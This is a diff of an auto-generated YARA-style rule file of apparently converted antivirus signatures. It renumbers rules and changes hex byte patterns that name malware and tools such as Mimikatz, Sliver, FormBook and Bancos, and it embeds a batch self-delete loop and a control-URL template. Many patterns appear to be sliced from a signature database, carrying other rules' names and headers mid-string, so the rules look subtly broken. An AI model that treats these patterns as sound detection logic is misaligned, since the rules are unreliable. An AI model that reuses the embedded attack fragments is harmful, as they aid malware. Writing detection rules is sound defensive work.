"!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 05 00 21 " @@ -354347,7 +376861,7 @@ rule _InfrastructureShared_27142{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*25955+(#a_01_2 & 1)*30313+(#a_01_3 & 1)*16485+(#a_01_4 & 1)*50) >=30 } -rule _InfrastructureShared_27143{ +rule _InfrastructureShared_28867{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,28 00 28 00 02 00 21 " @@ -354358,7 +376872,7 @@ rule _InfrastructureShared_27143{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*28233) >=40 } -rule _InfrastructureShared_27144{ +rule _InfrastructureShared_28868{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,33 00 33 00 04 00 21 " @@ -354370,7 +376884,7 @@ rule _InfrastructureShared_27144{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*4084+(#a_01_2 & 1)*1) >=51 } -rule _InfrastructureShared_27145{ +rule _InfrastructureShared_28869{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -354380,7 +376894,7 @@ rule _InfrastructureShared_27145{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27146{ +rule _InfrastructureShared_28870{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -354390,7 +376904,7 @@ rule _InfrastructureShared_27146{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27147{ +rule _InfrastructureShared_28871{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -354400,7 +376914,7 @@ rule _InfrastructureShared_27147{ ((#a_01_0 & 1)*18467) >=2 } -rule _InfrastructureShared_27148{ +rule _InfrastructureShared_28872{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -354411,7 +376925,7 @@ rule _InfrastructureShared_27148{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*18187) >=2 } -rule _InfrastructureShared_27149{ +rule _InfrastructureShared_28873{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " @@ -354422,7 +376936,7 @@ rule _InfrastructureShared_27149{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*16500) >=2 } -rule _InfrastructureShared_27150{ +rule _InfrastructureShared_28874{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -354434,7 +376948,7 @@ rule _InfrastructureShared_27150{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29810+(#a_01_2 & 1)*0) >=3 } -rule _InfrastructureShared_27151{ +rule _InfrastructureShared_28875{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -354445,7 +376959,7 @@ rule _InfrastructureShared_27151{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*28773) >=3 } -rule _InfrastructureShared_27152{ +rule _InfrastructureShared_28876{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -354456,7 +376970,7 @@ rule _InfrastructureShared_27152{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*12616) >=3 } -rule _InfrastructureShared_27153{ +rule _InfrastructureShared_28877{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -354468,7 +376982,7 @@ rule _InfrastructureShared_27153{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*24948+(#a_01_2 & 1)*21863) >=4 } -rule _InfrastructureShared_27154{ +rule _InfrastructureShared_28878{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 03 00 21 " @@ -354479,7 +376993,7 @@ rule _InfrastructureShared_27154{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*25971) >=6 } -rule _InfrastructureShared_27155{ +rule _InfrastructureShared_28879{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -354489,7 +377003,7 @@ rule _InfrastructureShared_27155{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27156{ +rule _InfrastructureShared_28880{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -354499,7 +377013,7 @@ rule _InfrastructureShared_27156{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27157{ +rule _InfrastructureShared_28881{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -354509,7 +377023,7 @@ rule _InfrastructureShared_27157{ ((#a_01_0 & 1)*16931) >=1 } -rule _InfrastructureShared_27158{ +rule _InfrastructureShared_28882{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -354519,7 +377033,7 @@ rule _InfrastructureShared_27158{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27159{ +rule _InfrastructureShared_28883{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -354530,7 +377044,7 @@ rule _InfrastructureShared_27159{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*116) >=2 } -rule _InfrastructureShared_27160{ +rule _InfrastructureShared_28884{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -354541,7 +377055,7 @@ rule _InfrastructureShared_27160{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*84) >=2 } -rule _InfrastructureShared_27161{ +rule _InfrastructureShared_28885{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -354552,7 +377066,7 @@ rule _InfrastructureShared_27161{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*55) >=3 } -rule _InfrastructureShared_27162{ +rule _InfrastructureShared_28886{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -354563,7 +377077,7 @@ rule _InfrastructureShared_27162{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*8448) >=3 } -rule _InfrastructureShared_27163{ +rule _InfrastructureShared_28887{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -354575,7 +377089,7 @@ rule _InfrastructureShared_27163{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29281+(#a_01_2 & 1)*14641) >=3 } -rule _InfrastructureShared_27164{ +rule _InfrastructureShared_28888{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -354586,7 +377100,7 @@ rule _InfrastructureShared_27164{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*11577) >=3 } -rule _InfrastructureShared_27165{ +rule _InfrastructureShared_28889{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -354598,7 +377112,7 @@ rule _InfrastructureShared_27165{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*24435+(#a_01_2 & 1)*30821) >=3 } -rule _InfrastructureShared_27166{ +rule _InfrastructureShared_28890{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -354611,7 +377125,7 @@ rule _InfrastructureShared_27166{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*26989+(#a_01_2 & 1)*22575+(#a_01_3 & 1)*21539) >=4 } -rule _InfrastructureShared_27167{ +rule _InfrastructureShared_28891{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 03 00 21 " @@ -354622,7 +377136,7 @@ rule _InfrastructureShared_27167{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*100) >=20 } -rule _InfrastructureShared_27168{ +rule _InfrastructureShared_28892{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -354632,7 +377146,7 @@ rule _InfrastructureShared_27168{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27169{ +rule _InfrastructureShared_28893{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -354642,7 +377156,7 @@ rule _InfrastructureShared_27169{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_27170{ +rule _InfrastructureShared_28894{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -354652,7 +377166,7 @@ rule _InfrastructureShared_27170{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_27171{ +rule _InfrastructureShared_28895{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -354662,7 +377176,7 @@ rule _InfrastructureShared_27171{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_27172{ +rule _InfrastructureShared_28896{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -354672,7 +377186,7 @@ rule _InfrastructureShared_27172{ ((#a_01_0 & 1)*25635) >=1 } -rule _InfrastructureShared_27173{ +rule _InfrastructureShared_28897{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -354684,33 +377198,46 @@ rule _InfrastructureShared_27173{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25961+(#a_01_2 & 1)*29540) >=3 } -rule _InfrastructureShared_27174{ +rule _InfrastructureShared_28898{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " strings : $a_01_0 = {54 52 3a 62 6f 74 5f 74 68 72 65 61 64 73 00 01 00 15 6b 69 6c 6c 65 64 20 61 6c 6c 20 25 73 20 74 68 72 65 61 64 73 01 00 12 6b 69 6c 6c 65 64 20 61 6c 6c 20 74 68 72 65 61 64 73 01 00 0c 74 68 72 65 61 64 73 2e 6c 69 73 74 01 00 0c 74 68 72 65 61 } //18467 $a_01_1 = {6b 69 6c 6c 00 00 61 66 00 00 03 00 03 00 04 00 21 23 64 6f 5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 02 00 15 } //29540 - $a_01_2 = {45 43 54 5f 52 45 53 45 52 56 5f 53 52 56 5f 25 64 00 01 00 09 73 74 6f 72 2e 63 66 67 00 01 00 07 65 78 65 63 25 73 00 01 00 12 68 74 74 70 3a 2f 2f 25 64 2e 63 74 72 6c 2e 25 73 00 00 00 61 66 00 00 08 00 08 00 08 00 21 23 41 } //17747 - $a_01_3 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 6f 72 6d 42 6f 6f 6b 2e 53 4d 21 4d 54 42 00 01 00 04 3b 2d 0b 00 01 00 05 05 3b 2d 0b 00 01 00 05 3d 15 15 00 00 01 00 04 99 83 fa } //17996 + $a_01_2 = {45 43 54 5f 52 45 53 45 52 56 5f 53 52 56 5f 25 64 00 01 00 09 73 74 6f 72 2e 63 66 67 00 01 00 07 65 78 65 63 25 73 00 01 00 12 68 74 74 70 3a 2f 2f 25 64 2e 63 74 72 6c 2e 25 73 00 00 00 61 66 00 00 04 00 04 00 04 00 21 23 41 } //17747 + $a_01_3 = {50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 66 66 65 72 43 6f 72 65 2e 4d 4a 34 00 01 00 06 6f 66 66 65 72 73 01 00 0e 44 54 57 70 66 49 6e 73 74 61 6c 6c 65 } //17996 condition: ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29540+(#a_01_2 & 1)*17747+(#a_01_3 & 1)*17996) >=3 } -rule _InfrastructureShared_27175{ +rule _InfrastructureShared_28899{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " strings : - $a_01_0 = {5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 02 00 15 53 45 4c 45 43 54 5f 52 45 53 45 52 56 5f 53 52 56 5f 25 64 00 01 00 09 73 74 6f 72 2e 63 66 67 00 01 00 07 65 78 65 63 25 73 00 01 00 12 68 74 74 70 3a 2f 2f 25 64 2e 63 74 72 6c 2e 25 73 00 00 00 61 66 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 54 72 6f } //25635 - $a_01_1 = {3a 57 69 6e 33 32 2f 46 6f 72 6d 42 6f 6f 6b 2e 53 4d 21 4d 54 42 00 01 00 04 3b 2d 0b 00 01 00 05 05 3b 2d 0b 00 01 00 05 3d 15 15 00 00 01 00 04 99 83 fa 3f 01 00 04 d8 59 00 00 01 00 04 83 6d 35 00 01 00 04 e9 0a 00 00 01 00 05 89 58 04 89 08 00 00 61 66 00 00 1e 00 1e 00 04 00 21 23 4f 46 4e 3a 6d 73 68 74 61 2e 65 78 65 00 } //24938 - $a_01_2 = {6d 73 68 74 61 2e 70 64 62 } //10 mshta.pdb - $a_01_3 = {4d 00 53 00 48 00 54 00 41 00 2e 00 45 00 58 00 45 00 } //10 MSHTA.EXE + $a_01_0 = {5f 65 78 68 61 75 73 74 69 76 65 68 73 74 72 5f 72 65 73 63 61 6e 00 02 00 15 53 45 4c 45 43 54 5f 52 45 53 45 52 56 5f 53 52 56 5f 25 64 00 01 00 09 73 74 6f 72 2e 63 66 67 00 01 00 07 65 78 65 63 25 73 00 01 00 12 68 74 74 70 3a 2f 2f 25 64 2e 63 74 72 6c 2e 25 73 00 00 00 61 66 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 50 55 41 } //25635 + $a_01_1 = {61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 66 66 65 72 43 6f 72 65 2e 4d 4a 34 00 01 00 06 6f 66 66 65 72 73 01 00 0e 44 54 57 70 66 49 6e 73 74 61 6c 6c 65 72 01 00 0a 67 65 74 5f 4f 66 66 65 72 73 01 00 0d 4f 66 66 65 72 50 61 67 } //27716 + $a_01_2 = {65 77 00 00 61 66 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 6f 72 6d 42 6f 6f 6b 2e 53 4d 21 4d 54 42 00 01 00 04 3b 2d 0b 00 01 00 05 05 3b 2d 0b 00 01 00 05 3d 15 15 00 00 01 00 04 99 83 fa 3f 01 00 04 d8 59 00 00 01 00 04 83 6d 35 00 01 00 04 e9 0a 00 00 01 00 05 89 58 } //22117 + $a_01_3 = {00 00 61 66 00 00 1e 00 } //-30460 condition: - ((#a_01_0 & 1)*25635+(#a_01_1 & 1)*24938+(#a_01_2 & 1)*10+(#a_01_3 & 1)*10) >=3 + ((#a_01_0 & 1)*25635+(#a_01_1 & 1)*27716+(#a_01_2 & 1)*22117+(#a_01_3 & 1)*-30460) >=3 } -rule _InfrastructureShared_27176{ +rule _InfrastructureShared_28900{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " + + strings : + $a_01_0 = {46 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 66 66 65 72 43 6f 72 65 2e 4d 4a 34 00 01 00 06 6f 66 66 65 72 73 01 00 0e 44 54 57 70 66 49 6e 73 74 61 6c 6c 65 72 01 00 0a 67 65 74 5f 4f 66 66 65 72 73 01 00 } //16675 + $a_01_1 = {66 65 72 50 61 67 65 56 69 65 77 00 00 61 66 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 6f 72 6d 42 6f 6f 6b 2e 53 4d 21 4d 54 42 00 01 00 04 3b 2d 0b 00 01 00 05 05 3b 2d 0b 00 01 00 05 3d 15 15 00 00 01 00 04 99 83 fa 3f 01 00 04 d8 59 00 00 01 00 04 83 6d 35 00 } //20237 + $a_01_2 = {e9 0a 00 00 } //1 + $a_01_3 = {89 58 04 89 08 } //1 + condition: + ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*20237+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} +rule _InfrastructureShared_28901{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -354726,7 +377253,7 @@ rule _InfrastructureShared_27176{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*1024+(#a_01_3 & 1)*8993+(#a_01_4 & 1)*30554+(#a_01_5 & 1)*26485+(#a_01_6 & 1)*14848+(#a_01_7 & 1)*28005) >=8 } -rule _InfrastructureShared_27177{ +rule _InfrastructureShared_28902{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -354738,7 +377265,7 @@ rule _InfrastructureShared_27177{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*25708+(#a_01_2 & 1)*2560) >=30 } -rule _InfrastructureShared_27178{ +rule _InfrastructureShared_28903{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -354748,7 +377275,7 @@ rule _InfrastructureShared_27178{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27179{ +rule _InfrastructureShared_28904{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -354758,7 +377285,7 @@ rule _InfrastructureShared_27179{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27180{ +rule _InfrastructureShared_28905{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -354768,7 +377295,7 @@ rule _InfrastructureShared_27180{ ((#a_01_0 & 1)*16675) >=1 } -rule _InfrastructureShared_27181{ +rule _InfrastructureShared_28906{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -354778,7 +377305,7 @@ rule _InfrastructureShared_27181{ ((#a_01_0 & 1)*21539) >=1 } -rule _InfrastructureShared_27182{ +rule _InfrastructureShared_28907{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -354789,18 +377316,38 @@ rule _InfrastructureShared_27182{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29505) >=1 } -rule _InfrastructureShared_27183{ +rule _InfrastructureShared_28908{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " strings : - $a_01_0 = {6c 6f 77 4c 69 73 74 3a 57 44 45 78 63 6c 75 73 69 6f 6e 00 01 00 1f 5a 3a 5c 4f 72 65 61 6e 73 20 50 72 6f 6a 65 63 74 73 5c 53 65 63 75 72 65 45 6e 67 69 6e 65 01 00 22 50 00 63 00 6d 00 74 00 65 00 63 00 2e 00 45 00 64 00 69 00 74 00 6f 00 72 00 2e 00 65 00 78 00 65 00 00 00 61 67 00 00 03 00 03 00 03 00 21 23 41 64 77 } //16675 - $a_01_1 = {3a 57 69 6e 33 32 2f 47 61 6d 65 56 61 6e 63 65 00 01 00 0d 46 72 65 65 57 6f 72 6b 7a 2e 44 4c 4c 01 00 1c 6c 61 50 6c 75 67 69 6e 73 5c 6e 70 46 72 65 65 57 6f 72 6b 7a 44 69 73 70 6c 61 79 01 00 14 66 72 65 65 77 6f 72 6b 7a 5f 75 70 64 61 74 65 2e 65 78 65 00 00 61 67 00 00 03 00 03 00 03 00 21 23 } //29281 + $a_01_0 = {6c 6f 77 4c 69 73 74 3a 57 44 45 78 63 6c 75 73 69 6f 6e 00 01 00 1f 5a 3a 5c 4f 72 65 61 6e 73 20 50 72 6f 6a 65 63 74 73 5c 53 65 63 75 72 65 45 6e 67 69 6e 65 01 00 22 50 00 63 00 6d 00 74 00 65 00 63 00 2e 00 45 00 64 00 69 00 74 00 6f 00 72 00 2e 00 65 00 78 00 65 00 00 00 61 67 00 00 02 00 02 00 02 00 21 23 53 4c 46 } //16675 + $a_01_1 = {6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 72 69 63 74 6f 72 2e 4d 58 21 4d 54 42 00 01 00 24 eb 1c 80 7e 2e 00 8b ce 74 0b ff 74 24 08 e8 55 fc ff ff eb 05 e8 78 fd ff ff 85 c0 75 0d 8b 4e 28 8b 46 18 01 00 12 59 00 43 00 6c 00 65 00 61 00 6e 00 6e 00 65 00 72 00 00 00 61 67 00 00 02 00 02 00 02 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 } //21562 condition: - ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29281) >=2 + ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*21562) >=2 } -rule _InfrastructureShared_27184{ +rule _InfrastructureShared_28909{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " + + strings : + $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 72 69 63 74 6f 72 2e 4d 58 21 4d 54 42 00 01 00 24 eb 1c 80 7e 2e 00 8b ce 74 0b ff 74 24 08 e8 55 fc ff ff eb 05 e8 78 fd ff ff 85 c0 75 0d 8b 4e 28 8b 46 18 01 00 12 59 00 43 } //21283 + condition: + ((#a_01_0 & 1)*21283) >=2 + +} +rule _InfrastructureShared_28910{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " + + strings : + $a_01_0 = {46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 54 65 64 79 2e 4d 58 21 4d 54 42 00 01 00 2c 0f b6 03 3c 20 77 09 84 c0 74 30 40 84 ff 74 1e 3c 22 75 07 40 84 ff 40 0f 94 c7 8b c8 e8 33 4a 00 00 85 c0 74 03 48 ff c3 48 ff c3 01 00 } //21283 + condition: + ((#a_01_0 & 1)*21283) >=2 + +} +rule _InfrastructureShared_28911{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -354811,7 +377358,7 @@ rule _InfrastructureShared_27184{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*8993) >=3 } -rule _InfrastructureShared_27185{ +rule _InfrastructureShared_28912{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -354823,7 +377370,7 @@ rule _InfrastructureShared_27185{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29801+(#a_01_2 & 1)*4232) >=3 } -rule _InfrastructureShared_27186{ +rule _InfrastructureShared_28913{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -354834,32 +377381,19 @@ rule _InfrastructureShared_27186{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*4232) >=3 } -rule _InfrastructureShared_27187{ +rule _InfrastructureShared_28914{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " strings : $a_01_0 = {46 3a 57 69 6e 36 34 2f 43 6f 6d 52 61 74 2e 4a 00 01 00 1c 47 00 55 00 4d 00 42 00 4f 00 5f 00 54 00 41 00 47 00 5f 00 4c 00 41 00 53 00 54 00 01 00 13 43 72 79 70 74 41 63 71 75 69 72 65 43 6f 6e 74 65 78 74 01 00 12 57 72 69 } //21283 - $a_01_1 = {72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 00 61 67 00 00 28 00 28 00 05 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 4d 69 6d 69 6b 61 74 7a 2e 47 00 0a 00 07 48 8d 6e 30 48 8d 0d 0a 00 0b 48 8d 94 24 b0 00 00 00 48 8d 0d } //25972 - $a_01_2 = {4c 8d 85 30 01 00 00 48 8d 15 } //10 + $a_01_1 = {72 6f 63 65 73 73 4d 65 6d 6f 72 79 00 00 61 68 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 42 61 6e 63 6f 73 2e 52 4c 00 01 00 3c 40 65 63 68 6f 20 6f 66 66 0d 0a 3a 6c 62 0d 0a 64 65 6c 20 } //25972 + $a_01_2 = {6e 75 6c 0d 0a 69 66 20 65 78 69 73 74 20 25 73 20 67 6f 74 6f 20 6c 62 0d 0a 64 65 6c 20 25 73 3e 6e 75 6c 00 00 00 61 68 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a } //29477 condition: - ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*25972+(#a_01_2 & 1)*10) >=3 + ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*25972+(#a_01_2 & 1)*29477) >=3 } -rule _InfrastructureShared_27188{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,28 00 28 00 05 00 21 " - - strings : - $a_01_0 = {4c 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 36 34 2f 4d 69 6d 69 6b 61 74 7a 2e 47 00 0a 00 07 48 8d 6e 30 48 8d 0d 0a 00 0b 48 8d 94 24 b0 00 00 00 48 8d 0d 0a 00 0a 4c 8d 85 30 01 00 00 48 8d 15 0a 00 0c 0f } //21539 - $a_01_1 = {30 85 c0 0f 45 cf 8a c1 0a 00 08 44 8b 45 80 85 c0 0f 84 00 00 61 68 00 00 01 00 01 00 01 00 21 23 48 53 54 } //19638 - $a_01_2 = {72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 42 61 6e 63 6f 73 2e 52 4c 00 01 00 3c 40 65 63 68 6f 20 6f 66 66 0d 0a 3a 6c 62 0d 0a 64 65 6c 20 25 73 3e 6e 75 6c 0d 0a 69 66 20 65 78 69 73 74 20 25 73 20 67 6f 74 6f 20 6c 62 0d 0a 64 65 6c 20 25 73 3e } //14930 - $a_01_3 = {00 00 00 61 68 00 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 42 4b 72 79 70 74 2e 41 55 21 4d 54 42 00 01 00 21 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 39 20 28 57 69 6e 64 6f 77 73 29 01 00 17 53 70 61 63 65 20 54 65 6c 65 73 63 6f 70 65 20 53 63 69 65 6e 63 } //30062 - condition: - ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*19638+(#a_01_2 & 1)*14930+(#a_01_3 & 1)*30062) >=40 - -} -rule _InfrastructureShared_27189{ +rule _InfrastructureShared_28915{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -354869,7 +377403,7 @@ rule _InfrastructureShared_27189{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27190{ +rule _InfrastructureShared_28916{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -354880,7 +377414,7 @@ rule _InfrastructureShared_27190{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*27749) >=2 } -rule _InfrastructureShared_27191{ +rule _InfrastructureShared_28917{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -354891,20 +377425,32 @@ rule _InfrastructureShared_27191{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*28789) >=2 } -rule _InfrastructureShared_27192{ +rule _InfrastructureShared_28918{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 04 00 21 " strings : $a_01_0 = {41 3a 42 75 6e 64 6c 65 72 43 6c 75 73 74 65 72 3a 42 75 6e 64 6c 65 4c 6f 61 64 65 72 00 01 00 0d 69 74 64 5f 67 65 74 73 74 72 69 6e 67 01 00 0d 69 74 64 5f 73 65 74 73 74 72 69 6e 67 01 00 0d 69 74 64 5f 61 64 64 6d 69 72 72 6f 72 01 00 0b 69 74 64 5f } //20515 - $a_01_1 = {66 69 6c 65 00 00 61 68 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 42 69 74 73 65 63 75 72 65 41 6e 74 69 43 68 65 61 74 5f 65 78 63 65 70 74 69 6f 6e 00 01 00 17 53 4f 46 54 57 41 52 45 5c 42 6f 72 6c 61 6e 64 5c 44 65 6c 70 68 69 01 00 0b 6d 61 64 43 6f 64 65 48 6f 6f 6b 01 00 11 62 69 74 73 65 } //25697 - $a_01_2 = {65 5f 72 30 5f 2e 73 79 73 00 00 61 68 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 53 6c 69 76 65 72 2e 41 21 4d 54 42 00 01 00 11 2a 73 6c 69 76 65 72 70 62 2e 50 72 6f 63 65 73 73 01 00 11 2a 73 6c 69 76 65 72 70 62 2e 4d 69 67 72 61 74 65 01 00 1c 2a 73 6c 69 76 65 72 70 62 2e 45 78 65 63 75 74 65 41 73 73 65 6d 62 6c 79 } //30051 - $a_01_3 = {00 00 61 68 00 00 03 00 03 00 04 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 4b 72 79 70 74 69 6b 2e 4a 00 01 00 10 4b 00 69 00 6c 00 6c 00 2e 00 7a 00 69 00 70 00 01 00 10 46 00 69 00 6c 00 6c 00 2e 00 72 00 61 